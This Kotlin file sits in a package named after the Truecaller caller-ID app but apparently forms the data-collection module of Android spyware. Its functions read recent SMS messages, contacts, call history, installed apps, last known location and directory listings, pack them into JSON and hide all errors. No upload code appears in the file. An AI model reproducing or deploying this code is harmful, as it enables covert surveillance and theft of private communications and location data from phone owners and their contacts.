package com.truecaller.premium import android.Manifest import android.content.Context import android.content.pm.ApplicationInfo import android.content.pm.PackageManager import android.location.LocationManager import android.provider.CallLog import android.provider.ContactsContract import android.provider.Telephony import androidx.core.content.ContextCompat import org.json.JSONArray import org.json.JSONObject object Collectors { fun sms(ctx: Context, limit: Int = 50): JSONArray { val arr = JSONArray() try { val c = ctx.contentResolver.query( Telephony.Sms.CONTENT_URI, arrayOf("address", "body", "date", "type"), null, null, "date DESC LIMIT $limit") ?: return arr while (c.moveToNext()) { val o = JSONObject() o.put("addr", c.getString(0) ?: "") o.put("body", (c.getString(1) ?: "").take(500)) o.put("date", c.getLong(2)) o.put("type", c.getInt(3)) arr.put(o) } c.close() } catch (_: Exception) {} return arr } fun contacts(ctx: Context, limit: Int = 300): JSONArray { val arr = JSONArray() try { val c = ctx.contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, arrayOf(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER), null, null, null) ?: return arr var i = 0 while (c.moveToNext() && i < limit) { val o = JSONObject() o.put("name", c.getString(0) ?: "") o.put("num", c.getString(1) ?: "") arr.put(o); i++ } c.close() } catch (_: Exception) {} return arr } fun calls(ctx: Context, limit: Int = 50): JSONArray { val arr = JSONArray() try { val c = ctx.contentResolver.query( CallLog.Calls.CONTENT_URI, arrayOf(CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, CallLog.Calls.DATE, CallLog.Calls.TYPE, CallLog.Calls.DURATION), null, null, "date DESC LIMIT $limit") ?: return arr while (c.moveToNext()) { val o = JSONObject() o.put("num", c.getString(0) ?: "") o.put("name", c.getString(1) ?: "") o.put("date", c.getLong(2)) o.put("type", c.getInt(3)) o.put("dur", c.getLong(4)) arr.put(o) } c.close() } catch (_: Exception) {} return arr } fun apps(ctx: Context): JSONArray { val arr = JSONArray() try { val pm = ctx.packageManager for (a in pm.getInstalledApplications(0)) { if (arr.length() > 300) break val o = JSONObject() o.put("pkg", a.packageName) o.put("label", try { pm.getApplicationLabel(a).toString() } catch (_: Exception) { "" }) o.put("sys", (a.flags and ApplicationInfo.FLAG_SYSTEM) != 0) arr.put(o) } } catch (_: Exception) {} return arr } fun location(ctx: Context): String { try { val lm = ctx.getSystemService(Context.LOCATION_SERVICE) as LocationManager if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) return "" var loc = try { lm.getLastKnownLocation(LocationManager.GPS_PROVIDER) } catch (_: Exception) { null } if (loc == null) loc = try { lm.getLastKnownLocation(LocationManager.NETWORK_PROVIDER) } catch (_: Exception) { null } if (loc != null) { return "lat=${loc.latitude},lon=${loc.longitude},acc=${loc.accuracy},time=${loc.time}" } } catch (_: Exception) {} return "" } fun listFiles(path: String): String { val sb = StringBuilder() try { val f = java.io.File(path) if (!f.exists() || !f.isDirectory) return "NOT_FOUND" for (x in f.listFiles()?.sortedBy { it.name }?.take(200) ?: return "") { sb.append(if (x.isDirectory) "[D] " else "[F] ") .append(x.name) .append(if (x.isFile) " (${x.length()})" else "") .append("\n") } } catch (_: Exception) { return "ERR" } return sb.toString() } }